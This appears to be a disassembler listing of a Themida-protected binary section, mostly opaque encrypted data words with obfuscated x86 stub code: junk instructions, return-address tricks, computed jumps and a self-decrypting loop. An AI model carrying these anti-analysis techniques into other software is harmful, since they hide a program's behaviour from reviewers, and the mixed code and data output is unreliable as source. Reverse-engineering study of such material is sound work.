0AABBDA16h, 8A9AFB5Bh, 0A8A8370Ah, 2B27B599h dd 8AD7FB1Ah, 2B657BCAh, 0F41EA78Eh, 0C673557h, 0F4CF5AADh dd 73000001h, 1670E5C2h, 0DF109DB5h, 7CD736BEh, 92109DB5h dd 5D902F57h, 1687AEC0h, 5039BE09h, 529CDCFh, 3F684764h dd 11F8DC24h, 1D2FB901h, 0C0E2C08Ch, 328EDF6Dh, 4F704F37h dd 31D8CF68h, 569E6428h, 74995AB7h, 6FE22310h, 79F79F39h dd 0E8BA9756h, 62000009h, 0FE2482D4h, 1E04A2ACh, 0C0E2C08Ah dd 0DFC1E16Fh, 71A40252h, 54004DBEh, 4E045476h, 53F54A70h dd 50FC4D73h, 0F7666972h, 16B7D99Bh, 0BD112D64h, 0DFC3E06Ch dd 2F6EFF4Fh, 0B5015D90h, 4BCA109Dh, 4DE0E281h, 77A86EFFh dd 0F9480053h, 0ABA53698h, 17717B9Ah, 0EF5DF0A2h, 0EAA573CFh dd 3C0DA341h, 31000001h, 0C3E06CBDh, 300151DFh, 765807D1h dd 4D4969E3h, 20557214h, 168EA2C5h, 3499CBEh, 5C09D332h dd 79D92839h, 0D00A8A9Eh, 0D531A483h, 9E0A8A9Dh, 430B5B7Fh dd 0BF4993F2h, 0F52224Ah, 0B345AADh, 0E18E2082h, 88D9FD10h dd 20A5FCC4h, 0B9000000h, 0EBC8BEA3h, 8E989B7Ah, 18296C16h dd 8A8969E9h, 0B546C00Ah, 0AD3EC987h, 0B2715Ah, 0C2C50000h dd 320351E0h, 76C709D3h, 83D1F9D6h, 0D51F7ECFh, 0AFA53416h dd 2329BC9Eh, 0AF9D3012h, 0E888DC0Fh, 1DB0109Dh, 3AA7902Fh dd 0F53FDE70h, 0A7C684D8h, 0EAFF3F1Dh, 3ACE3F9Ch, 371687BFh dd 0F6CEF9D6h, 0EB3A0A0Dh, 3317448Ch, 2A10AEA6h, 8AC4B99Bh dd 93800EF7h, 8B9F9D4h, 45910000h, 3F8FB111h, 3789AF0Fh dd 3E8DB313h, 3F8EB412h, 0A986B515h, 7F5FF544h, 67470B59h dd 7C5AEE41h, 69490356h, 940E7F60h, 5D16B7DAh, 0E5C21A44h dd 9DB51670h, 236C4710h, 0D4EAFEB0h, 9CBE0687h, 81A7074Dh dd 43075930h, 0FE2C93F2h, 4274065Ah, 419F3F5Eh, 51E06CBDh dd 5370DC6Dh, 3CB1DF6Fh, 109DB4E2h, 0C10B6AABh, 2A1B493h dd 0A31A0000h, 7AEBC8BEh, 1687B039h, 4F704FCEh, 5D80368h dd 2756B378h, 0A82CDABh, 70FF4FDFh, 0B544A32Dh, 0A82CE55h dd 5D90AFACh, 0A82CE01h, 7814BCAh, 0F38A4A72h, 4F325AA4h dd 8000002h, 9DB51770h, 52342D10h, 0AF970075h, 163C1687h dd 0BB2A89C3h, 0A83995Fh, 2784E528h, 5E231F08h, 668968F5h dd 63E97C5Eh, 80CC5D43h, 20B092B1h, 0C6DDD6Fh, 0A814DC3Dh dd 77E6C5C1h, 1073B31Ah, 6EDE6F53h, 71C10966h, 6C0D8CDDh dd 0F6B87FF9h, 0D8F5B479h, 7B3h, 0AB0B4B97h, 0B9193585h dd 0A5054597h, 0BE1C3483h, 0A7074D9Ch, 352BB74h, 14F7151h dd 0FC4F7151h, 0F94C6E4Ch, 69667353h, 0B7DB9AF4h, 142E6316h dd 0FF4DE0C2h, 75DB6C6Eh, 378ACC14h, 0AF024415h, 4CC6CC9Dh dd 9AB203AFh, 0EAD0A03Ch, 0A378A341h, 0DE000001h, 0C3E06CBDh dd 6EFF4FDFh, 0FD07882Fh, 71056D09h, 83D6F867h, 0B4ADE9C9h dd 0F5CB0B0Ch, 7C1D19C1h, 0E57B785Fh, 0FC62149Dh, 0E2C96C19h dd 0A8306DAEh, 0D5FF3AABh, 588168Eh, 0F381734h, 609BAF69h dd 87037250h, 500A8AB4h, 0F256E9CDh, 0B43B9BEAh, 0F8920A8Ah dd 199B5983h, 55435AADh, 17000000h, 0EBC8BEA3h, 8E989B7Ah dd 18296C16h, 2A4143Bh, 4660985Ch, 708F0F7Eh, 0F9E60A8Ah dd 712BA7D6h, 0F1640A8Ah, 0A8A7095h, 0ED303F5Eh, 71439FCEh dd 890C0A8Ah, 8334C53Fh, 70D531A4h, 0C19E0A8Ah, 8A70D24Ch dd 1B7A9B0Ah, 564B09D1h, 0C3F35AADh, 47000000h, 14FE0C2h dd 84495B7h, 0C6C81539h, 17A5435Fh, 83D2B321h, 0F5EEE3Fh dd 990C7ACBh, 0BD65833Bh, 88A70465h, 9E87F955h, 7943C210h dd 0A1C4285Bh, 79CC109Eh, 50CBF4D3h, 0D735BCDAh, 13D1BA5h dd 66F7E0E8h, 4094AA23h, 44BB1746h, 61EF109Eh, 122160F1h dd 0C03592F3h, 1688A32Ch, 0E8C7E429h, 1190FFBFh, 0BD0729D3h dd 0A8064E9Bh, 2C213382h, 800EF7D6h, 301530F7h, 1A000006h dd 62C8ACCh, 163C9AB4h, 82A88C2h, 173999B7h, 0F92C8ACAh dd 0CC88D536h, 0D67CCCEEh, 0CB7DD2F8h, 0D874C5EBh, 7FEEF1FAh dd 16B7DE23h, 0BD89B5ECh, 0E3C7E470h, 656AFB53h, 0BD3A36E2h dd 687011D6h, 57F5486Ah, 6CBDD977h, 6BFC8B1Dh, 543554E5h dd 0DB6FC105h, 0B6A0B8Ah, 5A8BACh, 0C9109DB5h, 80D26244h dd 0D98850B1h, 0CAE864F5h, 16EFh, 6CBD5300h, 0DC6D51E0h dd 46EE170h, 0C28ADB87h, 27C5E4h, 0BD690000h, 57B3226Ch dd 20109DB5h, 0C286D9FDh, 0E26392A3h, 0C3109DB4h, 1235E257h dd 9DB567E3h, 0E3ED3010h, 0CEEC60F1h, 70E5C274h, 109DB516h dd 2436BEDFh, 8EAABB91h, 0B3943353h, 4312428Fh, 4BB7C1FCh dd 4223A5B3h, 16AC0B7Ah, 86A91688h, 2A3B11A4h, 207AEBh dd 0DEE90A84h, 0F86F8699h, 0FB3D2FBh, 5CBD8CBCh, 19B6D794h dd 0EACA031h, 14B3992Ch, 2BB59F2Eh, 1D6980BCh, 0D4474FBEh dd 0E528106Dh, 0FB51E4C6h, 0E864F5DBh, 0BD065B59h, 0BE8C206Fh dd 0AB0F6EAFh, 0E627361Eh, 98B52887h, 0E10A5A9Fh, 0C4E66AF9h dd 0C5B8D96Fh, 73DDBB67h, 0F498B574h, 56000004h, 4A704E08h dd 527856F8h, 4C6E4CFEh, 537555FBh, 3D704E06h, 84C99F2h dd 1A3888AAh, 74196BCh, 1C3081A7h, 3BAAB5BEh, 16B7DEDFh dd 0BDCD71A8h, 0E4C3E06Ch, 9DB51571h, 0C31F4E10h, 8C109DB4h dd 0C7183A09h, 3859B889h, 0BF094396h, 2E1EAF91h, 3418A991h dd 8DDCE425h, 76DC6C4Eh, 73D96C6Eh, 1DAE1CE2h, 94F5486Ah dd 0DA3B0A40h, 8E1F31BBh, 0AB3921BEh, 6D7796A7h, 0FC714E6Fh dd 109DB4A2h, 3AA22A6Bh, 0A341EA7Ah, 67E2h, 0BEA37800h dd 99CCEBC8h, 109DB53Dh, 95238706h, 0B72633BDh, 168EFBE2h dd 22E5240Bh, 2F5CB627h, 0E0250A8Ah, 0BA1BBBBh, 0C2E124C1h dd 0E06CBDE5h, 5A1EAEBBh, 25AF101Bh, 56E5A033h, 0C83B9BFAh dd 0A89C64Ch, 0DB37A689h, 0A40A89C5h, 5EEA3D61h, 14468E0Fh dd 62C8BC1h, 4ACB9AB4h, 0D96E5482h, 3DE6Fh, 5F000004h dd 51E06CBDh, 4EFC5072h, 4569EFFh, 0FB3B9BB1h, 0D203A0E6h dd 168EA397h, 0F9DEFD20h, 59ECBE2Bh, 61F5CCF3h, 0FD8CDBE5h dd 0A8A2F9Dh, 0FB219AF4h, 5AAD9D3Dh, 44A5h, 0C1143600h dd 0A397418Bh, 7AEBC8BEh, 168E989Bh, 7AD4666Ch, 0C793BC1Bh dd 0F8141E2h, 0FFDC8B55h, 0F8C088DBh, 89B60989h, 9526600Ah dd 0ADEBA967h, 0DA674B5Ah, 152B727Ah, 8C000001h, 0F20C16A3h dd 767E635Ch, 226CBDECh, 0C4413CFDh, 89F82ADAh, 109E9B0Dh dd 0F9D6B7D6h, 7DCC80D1h, 3115D41Ch, 3413B0A4h, 0C495BF0Eh dd 9ABA1445h, 283109Eh, 9AD630A5h, 7E9F109Eh, 82D3F776h dd 75C5EDCAh, 0BF0988D9h, 0C18B1E20h, 96FE72E1h, 476B109Eh dd 880958F8h, 0D3BB0E40h, 9E9628A2h, 0CDACF110h, 39E1C9EEh dd 0AEBF9122h, 0F38A486Fh, 41103C8Dh, 3917A1C0h, 0B786C617h dd 0B9167079h, 4191B996h, 0ACDD3C0Dh, 109DCE32h, 0B3529AFBh dd 168E9F66h, 6318E0Fh, 3895636Fh, 104E9612h, 0EADD910h dd 749963DFh, 8A296C10h, 9B3B19A8h, 392C28B5h, 79FBA29Dh dd 0CC3A17D6h, 7E000002h, 0A2882630h, 0BAA03E10h, 0A4862426h dd 0BB9D3D13h, 9588262Eh, 70E4719Ah, 72E07052h, 6FD96E54h dd 74D8694Fh, 13428D56h, 16B7E0B7h, 0BD352980h, 0E3C7E470h dd 0E1EFF951h, 1DE6EBFh, 128C01DEh, 0DB109DB5h, 0B54FCBBAh dd 3218109Dh, 61A0B1A3h, 409AB800h, 0EBC8BEA3h, 8E989B7Ah dd 4B636C16h, 7076C5F2h, 0D5243554h, 0A8AA175h, 0A3C942CCh dd 5AAD06D5h, 0BC7Dh, 6CBDE100h, 0E06D51E0h, 2094E574h dd 88109DB1h, 8FB81735h, 0B1C9D737h, 8DCB15EEh, 95321AABh dd 52C743B2h, 4F90109Dh, 9D52C41Eh, 69088D10h, 0BDA4005Fh dd 2E7BEAC9h, 0D7168E24h, 64F5B4F0h, 0B6036208h, 2F4ECF9Eh dd 3930704Eh, 22FF6E4Dh, 5B107441h, 0D968E877h, 52B330B8h dd 8E004D75h, 2B528ABEh, 0F0CEAFC5h, 0A4D97BCAh, 79FAD91Ch dd 0DCAFAA41h, 6E000001h, 725876E0h, 6A506EE0h, 745674D6h dd 6B4D6DE3h, 655876DEh, 4014A1CAh, 62F04062h, 7FC95E44h dd 64E8795Fh, 23527D46h, 16B7E1A7h, 0BD053970h, 0E4C6E470h dd 0FADBFB51h, 0DB0A86D8h, 109DB57Fh, 1CA4C548h, 0E06CBDC2h dd 70DC6D51h, 6FDD7052h, 0BF796750h, 0ADA61D9Bh, 4C94B809h dd 3C4A9F9Dh, 1A1B6E9Fh, 7194168Fh, 34DDEE0h, 93C11032h dd 0E7648EC2h, 0C3A2AA3Bh, 5C0683EDh, 23318009h, 5F436442h dd 2127BCCFh, 4890F140h, 0EFD3F5ECh, 3D5CED5Dh, 8B15D24Ch dd 1B7A9B0Ah, 0C4696BCh, 0F36697C4h, 0AC107BE6h, 63F6D869h dd 8B0758E9h, 0D36149EEh, 25AFEE7Fh, 19B6D019h, 68B671E4h dd 0CCEB2A0Ah, 0F3FD57E6h, 1772C3E5h, 57B687C7h, 21B19936h dd 0F3FD1C2Dh, 4BFD5274h, 0C684D8FAh, 4B035377h, 0C987D8FAh dd 1CB61978h, 3D22B69Fh, 0B46FEB1Ah, 0D538FE64h, 0B40B87F6h dd 0B1D4FE64h, 0B66CDD27h, 7BD56623h, 0ECCAABEAh, 0B90EB5ACh dd 0E9D1EE8Fh, 4AC4395Bh, 13FE64B4h, 80C293F2h, 79432230h dd 0A1D4295Ch, 24D0455h, 3009800Bh, 79319688h, 0EB6587C9h dd 193D0C6Dh, 9FB584C8h, 0D50CDC6Dh, 800E94EBh, 0A8C91011h dd 0E4A7DA0Bh, 0FD20FE41h, 0FE88E1DDh, 0DAA2ACE1h, 0A8BF827h dd 0A6361C3Bh, 9F3224ACh, 67F658EAh, 0E978D063h, 0BA8C9A8h dd 59F39927h, 3396B3CFh, 418F5938h, 0EF7ECE5Fh, 0D760329Eh dd 16388A2Dh, 0D2B00347h, 0CD848688h, 0DD6C0DA5h, 371E9B35h dd 0A55DEE24h, 0B89A3814h, 34162725h, 0C89CADA3h, 6E1CAF93h dd 56DBA3FFh, 48296CA9h, 698CD2F9h, 9E033888h, 1E9BF5FFh dd 4B6BE174h, 0E978D465h, 0AECh, 5E7B5200h, 0D667ED7Ch dd 0BDB32DB7h, 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h dd 0F330252h, 7FC392C2h, 2D112030h, 0BC9EAF9Bh, 2215242Ah dd 2D7368h, 24048900h, 405E089h, 83000000h, 48704E8h, 89525C24h dd 4C281E2h, 81000000h, 4EAh, 24148700h, 2434895Ch, 81E28952h dd 4C2h, 4EA8300h, 5C241487h, 0BE240C89h, 69387259h, 69A0B850h dd 0C6316F22h, 0C8B5458h, 4C48324h, 0CFB850h, 600D6004h dd 0D18A36Ch, 2CB10EFDh, 0B76EF735h, 89C8017Ch, 34FF5830h dd 0C4835924h, 24348B04h, 81E68956h, 4C6h, 4C68300h, 5C243487h dd 0F95123E9h, 115658FFh, 0CD32DEAEh, 0B5F1D6FBh db 0BFh, 0F7h, 6Ah ; --------------------------------------------------------------------------- loc_5EF317: ; CODE XREF: Themida_:005EDE14j mov eax, 61A2FB2h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 5BA8D0FFh, 4630B462h, 6197CED1h, 55ED9D5h, 9CB53CBh dd 31098D8Dh, 0D18B061Ah, 1BBD8D89h, 10E90613h, 26000000h dd 411B4F3Dh, 56D4EAA4h, 0CE257EB5h, 0C7E952B6h, 1318DD85h dd 647806h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 9B5DBF9Bh, 31F5B58Bh, 85C70613h dd 6133055h, 0 ; --------------------------------------------------------------------------- or [ebp+6131939h], edx push dword ptr [ebp+6132831h] push 0 push esi call sub_5EF3A7 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EF3A7 proc near ; CODE XREF: Themida_:005EF39Fp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_5EF3A7 endp ; --------------------------------------------------------------------------- add [edx+6Dh], esi cld call dword ptr [ebp+6131D89h] mov ebx, 5817ADF5h mov eax, [ebp+6130179h] push 0 call dword ptr [ebp+6130DA9h] mov eax, eax jmp short loc_5EF407 ; --------------------------------------------------------------------------- dd 0D3208B03h, 3BE387BBh, 0D1744846h, 0A20C5CF7h, 71DF4B38h dd 0B5673192h, 93A797D5h, 23BE7238h, 5DAA8455h, 4EE81B58h dd 0CC88268Ch ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 1Dh, 9Eh ; --------------------------------------------------------------------------- loc_5EF407: ; CODE XREF: Themida_:005EF3D6j ; Themida_:005EF410j call sub_5EF419 dec eax push ss sbb ch, [esi] loop near ptr loc_5EF407+4 mov esi, fs:[ebx-6C4544B8h] ; =============== S U B R O U T I N E ======================================= sub_5EF419 proc near ; CODE XREF: Themida_:loc_5EF407p mov ax, 26Fh pop edi add eax, [ebp+6131CD5h] add edi, 6607h mov dl, 44h sub esi, esi sbb ebx, 7A6A73FBh loc_5EF434: ; CODE XREF: sub_5EF419+8Fj mov ecx, [edi+esi] jz loc_5EF451 jo loc_5EF451 jmp loc_5EF451 ; --------------------------------------------------------------------------- dd 10D554A1h, 812647C7h db 0B2h ; --------------------------------------------------------------------------- loc_5EF451: ; CODE XREF: sub_5EF419+1Ej ; sub_5EF419+24j ... add ecx, 0D09D6C9h mov [ebp+6132C71h], edx sub ecx, 32B57D89h and bl, 2Bh sub ecx, 49657A4Eh movzx eax, di push ecx mov bx, di pop dword ptr [edi+esi] mov eax, edx clc sub esi, 1 mov eax, [ebp+6132491h] dec esi dec esi dec esi mov [ebp+6132C99h], edx cmp esi, 0FFFF9A9Ch jnz loc_5EF4A5 mov bx, dx jmp loc_5EF4B3 ; --------------------------------------------------------------------------- or eax, 5AC2D53Eh leave loc_5EF4A5: ; CODE XREF: sub_5EF419+78j sub ah, 0DEh jmp loc_5EF434 ; --------------------------------------------------------------------------- db 9Ah, 0CEh, 5Dh db 14h, 0CEh, 0F7h ; --------------------------------------------------------------------------- loc_5EF4B3: ; CODE XREF: sub_5EF419+81j lea ecx, [ebp+61A32ABh] cmc mov di, 0A34Dh mov [ebp+6131BBDh], ecx push 0 push edx call sub_5EF4CF and [edx-3Dh], bl sub_5EF419 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5EF4CF proc near ; CODE XREF: sub_5EF419+AEp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_5EF4CF endp ; --------------------------------------------------------------------------- pusha inc edx imul ecx, esp, 1E41858Bh adc eax, [esi] mov dword ptr [ebp+61318DDh], 6E00h push 0 push ebx call sub_5EF4FE and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EF4FE proc near ; CODE XREF: Themida_:005EF4F6p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx locret_5EF50D: ; CODE XREF: Themida_:005EF561j retn sub_5EF4FE endp ; --------------------------------------------------------------------------- dw 364h ; --------------------------------------------------------------------------- mov edi, [ebp+6131D9Dh] pusha mov esi, [ebp+613094Dh] popa mov [ebp+61321A9h], edi mov dword ptr [ebp+6133055h], 0 mov [ebp+6131EFDh], ecx push dword ptr [ebp+6130ED5h] and dx, 7AFCh call dword ptr [ebp+6131D89h] push 0 push ebx call sub_5EF550 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EF550 proc near ; CODE XREF: Themida_:005EF548p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_5EF550 endp ; --------------------------------------------------------------------------- loc_5EF560: ; CODE XREF: Themida_:005EF564j cdq loop locret_5EF50D dec ebx loope loc_5EF560 test eax, 0A19D298Dh adc edx, [ebx] push es push 0 call dword ptr [ebp+6130DA9h] mov eax, eax jmp short loc_5EF589 ; --------------------------------------------------------------------------- dw 446Bh dd 0E2912059h, 0A6AEE932h, 49058F38h db 79h ; --------------------------------------------------------------------------- loc_5EF589: ; CODE XREF: Themida_:005EF578j jmp loc_5EF5BD ; --------------------------------------------------------------------------- dw 7CD8h dd 3072h, 0Ah dup(0) db 0 ; --------------------------------------------------------------------------- loc_5EF5BD: ; CODE XREF: Themida_:loc_5EF589j jmp loc_5EFB19 ; --------------------------------------------------------------------------- push 61A341Ch jmp loc_58442C ; --------------------------------------------------------------------------- push 61A34D9h jmp loc_58442C ; --------------------------------------------------------------------------- push 61A363Eh jmp loc_58442C ; --------------------------------------------------------------------------- dd 0EFCF87D3h, 0F5D579C9h, 0E9C981D3h, 0FAD878C7h, 0EBCB89D8h db 0B8h, 77h ; --------------------------------------------------------------------------- loc_5EF5F6: ; CODE XREF: Themida_:005EF614j push ss loc_5EF5F7: ; CODE XREF: Themida_:005EF611j mov dword ptr [ebp-6A42F4D3h], 88C01335h sub cl, [eax] mov ch, 97h aaa sub ah, ds:0B7E856B0h push ss pop ds assume ds:nothing or bl, [eax-43h] jo short loc_5EF5F7 push ebp jno short loc_5EF5F6 ; --------------------------------------------------------------------------- dw 4E6Ch dd 506F1752h, 0C67506Fh, 0DAA2104Fh, 26CD4938h, 0B101109Eh dd 854FCE9Dh, 8F138B06h, 4ADEC416h, 61ED3Dh, 0CDEA2BB8h dd 0D8FA56E5h, 6302CA88h, 8B11B412h, 0A7F0B0Ah, 0ACB712E2h dd 379BA5Ah, 3A1D0000h, 8B064FCBh, 0EBF5180Ah, 0D5DFB971h dd 61F05CEDh, 459C9820h, 72F36241h, 0F3168EA5h, 0D5972BCCh dd 4999117Eh, 0F5C6405h, 84D57DCBh, 0A836405h, 0E7E50E03h dd 3E942C35h, 453DD6E8h, 0ECCBE889h, 5A1373C6h, 4030B63Dh dd 2B6AFB9Ah, 834F62A1h, 0C5481315h, 55313874h, 59320776h dd 3C1B0D02h, 0BA8BC516h, 44B02A5Bh, 147900FEh, 0E1FE1FCCh dd 0C6E468F9h, 673551E4h, 0C3FD9DC4h, 36B5A8C9h, 47768531h dd 377A5A0h, 8DD90000h, 77C7E9C9h, 7FD1F7D7h, 76C5EBCBh dd 87D6FCDAh, 71BEEDCDh, 2787CD1Ch, 3F9FB301h, 2482C619h dd 1A1ABFEh, 6CE61738h, 3516B7E9h, 0BEA382DCh, 0CB9AB605h dd 77D5684Ah, 0BB8EB916h, 924351F7h, 0DD104D97h, 16884245h dd 0CA5E4986h, 76B33E18h, 0DAE43E2Fh, 0AAAD0A83h, 83DADF3Bh dd 465A80Ah, 0DADC36A7h, 60A50A83h, 2B80A201h, 3CD4C1Dh dd 0D4CEF9D6h, 0C46748DAh, 0C11D506Fh, 8A0A8410h, 428FC10Bh dd 10A52154h, 2F6E0A84h, 0FB4A704Eh, 70557A59h, 0F8D6A87Dh dd 2362B736h, 415D917Ch, 0EF7ECA5Dh, 36C726AEh, 0E948BAD5h dd 0D588C415h, 800B1920h, 0BA93CE5Dh, 96000002h, 8AB00E48h dd 92B81638h, 8CAE0C3Eh, 93B5153Bh, 7DB00E46h, 480C59B2h dd 5AF8486Ah, 4701567Ch, 5CF04167h, 0FB6A757Eh, 16B7E89Fh dd 0A30D3168h, 7AEBC8BEh, 168786E4h, 2051E025h, 0A8381A2h dd 88FDDAF9h, 0A83820Eh, 81BC1647h, 850A83h, 800AD233h dd 2B13E10Bh, 0D0BB5AA4h, 9F000001h, 0C3E06CBDh, 4ADFCDCh dd 57611081h, 0D973C608h, 0E2A4BDF9h, 0EF5590C5h, 0BFDE168Eh dd 3689B1AEh, 0E0C24312h, 94F3FD4Bh, 0A8AEB36h, 6488018Dh dd 5AACD094h, 693Ch, 0DDC22200h, 0EDE4A91Ch, 0D7E3ED90h dd 0F8D7F492h, 0B52CA6D7h, 0F065109Dh, 109DB496h, 0EC313E5Fh dd 76D592C7h, 666EEA64h, 8F0E2627h, 0F2436716h, 428A0B5Ah dd 0A0D160A5h, 0A8AFE22h, 0EE7FC95Eh, 0B92E5AECh, 0E84F4F58h dd 7357E687h, 4C4669E1h, 93FFC6AFh, 0FF6E51F6h, 0A8BA9A3h dd 379F296Ch, 5AAC1F79h, 0BAE1h, 6CBD7500h, 4D7251E0h dd 0BCF6530Eh, 0BC9E26D3h, 3416272Dh, 0B89AABA1h, 0A2882725h dd 5A784012h, 9E2D892Bh, 94B80910h, 8B811037h, 0C7234D93h dd 17BC7B12h, 18A08336h, 0A4351D3Ah, 0CD1420A8h, 55EB1AB9h dd 5216885Dh, 1FAE9433h, 73D7A16Fh, 93F25FF0h, 94C00D33h dd 0F6B3EE1h, 85C06780h, 155h, 0C7E76FFBh, 0DDFD51E1h dd 0C1E169FBh, 0A20050DFh, 83233180h, 0DF6E9F90h, 0E5735575h dd 0D86B4D6Dh, 0DD705270h, 5D824F6Fh, 0B7EAAE28h, 40227716h dd 0C7E470BDh, 0F47E24E0h, 8628E3AAh, 0CC4D1C36h, 61F4D604h dd 0C5EACBEBh, 409D2367h, 6572C8F0h, 48797358h, 0BDC58F59h dd 6D51E06Ch, 66BFAADCh, 0F30FE74Dh, 0E3123592h, 109E8667h dd 78C9ED30h, 0F1CE0CD4h, 0BD579C9h, 0EFCCBAAFh, 247EEFD0h dd 0ED109E86h, 865DB9A8h, 0E726109Eh, 988D00DDh, 51168FCCh dd 0EFD0EFCCh, 8B36247Eh, 3A8ED0Ah, 0DC363CDAh, 9CBE0669h dd 82A8074Dh, 97F36232h, 600A8ADBh, 46945C3Dh, 8ADBB717h dd 0EA62F30Ah, 0FD57E6CCh, 8B716Ch, 0A3CD0000h, 159502BEh dd 9ACB3873h, 0EDA9DCFBh, 3616885Ch, 614986D7h, 0A8DBAD4h dd 0A6F8347Bh, 8ADBFDC7h, 6BBEE4C2h, 0E12150E1h, 2E20DC89h dd 4A9B47C4h, 9C83A402h, 9ACBBB59h, 0D41C1740h, 0EC1F8409h dd 0BE9623BCh, 0E56DFBDFh, 0A9AB3554h, 21253418h, 0E068FB92h dd 398E3051h, 0BEDF3E0Fh, 9E84B9AFh, 2C2E3F09h, 0F4D3B298h dd 1C490581h, 854FCED4h, 71C46E0Bh, 26EFEE15h, 6100D4D6h dd 7ECE5F41h, 3F2EFh, 7B500000h, 0E571BDE1h, 6DDF7254h dd 0E365FADCh, 72E07052h, 252DFE3h, 92C20F33h, 20307FC3h dd 0AF9B2D11h, 242ABC9Eh, 0EC812215h, 4, 68243489h, 322Fh dd 81240C89h, 4ECh, 241C8900h, 3E456850h, 48B4F3Fh, 4C48124h dd 2D000000h, 18F812F2h, 521B130Dh, 5E8C10Ah, 27793C05h dd 58C18904h, 241C8B54h, 5104C483h, 49E4B951h, 4C2908ECh dd 8F590424h, 43810843h, 0EC49E408h, 241C8B08h, 81E28952h dd 4C2h, 4C28100h, 87000000h, 8B5C2414h, 8950240Ch, 405E0h dd 0C0830000h, 24048704h, 4922E95Ch, 9267FFF9h, 0ACBA8A97h dd 0A692826h, 0D04C790Dh ; --------------------------------------------------------------------------- push cs loc_5EFB19: ; CODE XREF: Themida_:loc_5EF5BDj mov eax, 61A37B8h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 8B79h db 90h db 22h, 0FAh, 0FEh dd 0F61100FAh, 864A0A1Ch, 0AA7D5E52h, 34A44610h, 83264612h dd 7B907FECh, 0D8311DD0h, 0B9952EA5h, 5A8238E7h, 0CCB37A66h dd 0E39107B4h, 5F1356BBh, 0BE2C1D25h, 231E041Dh, 0FE8697Ah dd 3A000000h, 58F508EEh, 98115843h, 9940E536h, 0B9669F4Dh dd 6058B74Ah, 0B86657B5h, 8161BD6Ch, 5DC4C0h, 0AE900h dd 128B0000h, 67CDE644h, 3558D701h, 1736BAh, 0CF8B6600h dd 606030FFh, 60D88B66h, 9E96161h, 50000000h, 383D947h dd 7CC2EF7Ch, 0B70F5B61h, 2EEB81F0h, 66167C9Eh, 0F381F88Bh dd 2FF76063h, 0DE816056h, 764D8602h, 0FE9h, 95A09B00h dd 8608892Bh, 0B7A60756h, 84021AB2h, 0C3815961h, 1B9AA022h dd 8E8h, 4D8DFF00h, 0CF04124Bh, 68F0F36h, 81000000h, 0D596E7D9h dd 18895F0Dh, 2C820Fh, 11E80000h, 7F000000h, 2E1905DFh dd 0C60B6867h, 0BDF6AA4Fh, 0AAEEEC51h, 10E9h, 0AEA0AE00h dd 0D678F6BFh, 65A8E040h, 392856D1h, 0E8835F78h, 0F4AF804h dd 0FFFF5785h, 9E9FFh, 4A340000h, 0DF8ED402h, 0E8815C9Ah dd 0Ch, 2A333B5Eh, 0BE00ECE3h, 8A23C21h, 45C88166h, 8E0F5E66h dd 2, 0C68118B4h, 66D1h, 5E8h, 7A8E4900h, 8166F491h, 5842A0D7h dd 0ECA420BAh, 5EF28133h, 6633ECBDh, 0FFAAD6BFh, 13E936h dd 0FE060000h, 7AC95546h, 27C1DD12h, 906537Ch, 99CB7383h dd 66565BF6h, 8159C38Bh, 0F19D5FC3h, 0BE95372h, 0EA000000h dd 0F6103E4Eh, 73CF675Bh, 815FBC57h, 0DCFD0BC3h, 2810F67h dd 8B000000h, 1FEB81CFh, 0E9011165h, 14h, 8296026Ch, 7FB625F6h dd 0B1FD6769h, 5CE07409h, 0A879C07h, 0DE953h, 82670000h dd 0E6EFE05Dh, 0FC199376h, 8FABC20Ch, 0CDE58006h, 7E68EE81h dd 6EBF10AAh, 812A27C8h, 0AA7E64C6h, 5ED18110h, 4A32E0C2h dd 0FF65850Fh, 0BF0FFFFFh, 11E8C0h, 8B460000h, 9C57D05h dd 0A461AFC0h, 0A184FA0Ah, 0B65927D4h, 0F38B59A0h, 5C49C181h dd 680000h, 0E8000000h, 9, 0DC3315EBh, 0A5D28C1Ah, 36CE80DCh dd 810F5F5Eh, 3, 8B55C480h, 890F391Ch, 5, 0D5D88166h, 0C6EB81C0h dd 0E84D78B6h, 5, 7491FAF9h, 0C3815E48h, 608332F9h, 40F381F8h dd 6671DAC4h, 42DED081h, 0E9391C89h, 0Fh, 7D90628Ch, 98063022h dd 0E3650215h, 8389C4D1h, 0B70F04EFh, 78FF81D1h, 0FFFFFA4h dd 1485h, 21F68100h, 0E90B126Ch, 23h, 9036DDB9h, 3B0711E1h dd 0F08166AAh, 88E9A0BBh, 85FFFFFFh, 0A8AD757Eh, 4D58FF08h dd 0BEDD3168h, 8B7CBF74h, 25BD83C0h, 61316h, 0BD830975h dd 6132C81h, 50197400h, 0B8C08B53h, 421h, 0D7D8589h, 9D8D0613h dd 615A97Dh, 585BD3FFh, 2C81BD83h, 74000613h, 0B8535017h dd 421h, 0D7D8589h, 9D8D0613h, 615A66Ch, 585BD3FFh, 9D8BC08Bh dd 6130BB9h, 11E185C6h, 68560613h, 9CA8B852h, 1EE9B5FFh dd 858D0613h, 6167C33h, 46AD0FFh, 100068h, 25B5FF00h, 6A061317h dd 85D0FF00h, 0D850FC0h, 0B8000000h, 0 ; --------------------------------------------------------------------------- lea ecx, [ebp+6137533h] jmp ecx ; --------------------------------------------------------------------------- dd 0C38BC88Bh, 53C4003h, 0F8h, 30C508Bh, 2DBD83D3h, 6132Ah dd 0E840Fh, 9D8B0000h, 6132A2Dh, 0BF1858Bh, 3890613h, 858D5251h dd 61343ECh, 0FA8BD0FFh, 0D18BF18Bh, 0A4F3C88Bh, 11E185C6h dd 68560613h, 0D41F6D39h, 1EE9B5FFh, 858D0613h, 6167C33h dd 68D0FFh, 6A000080h, 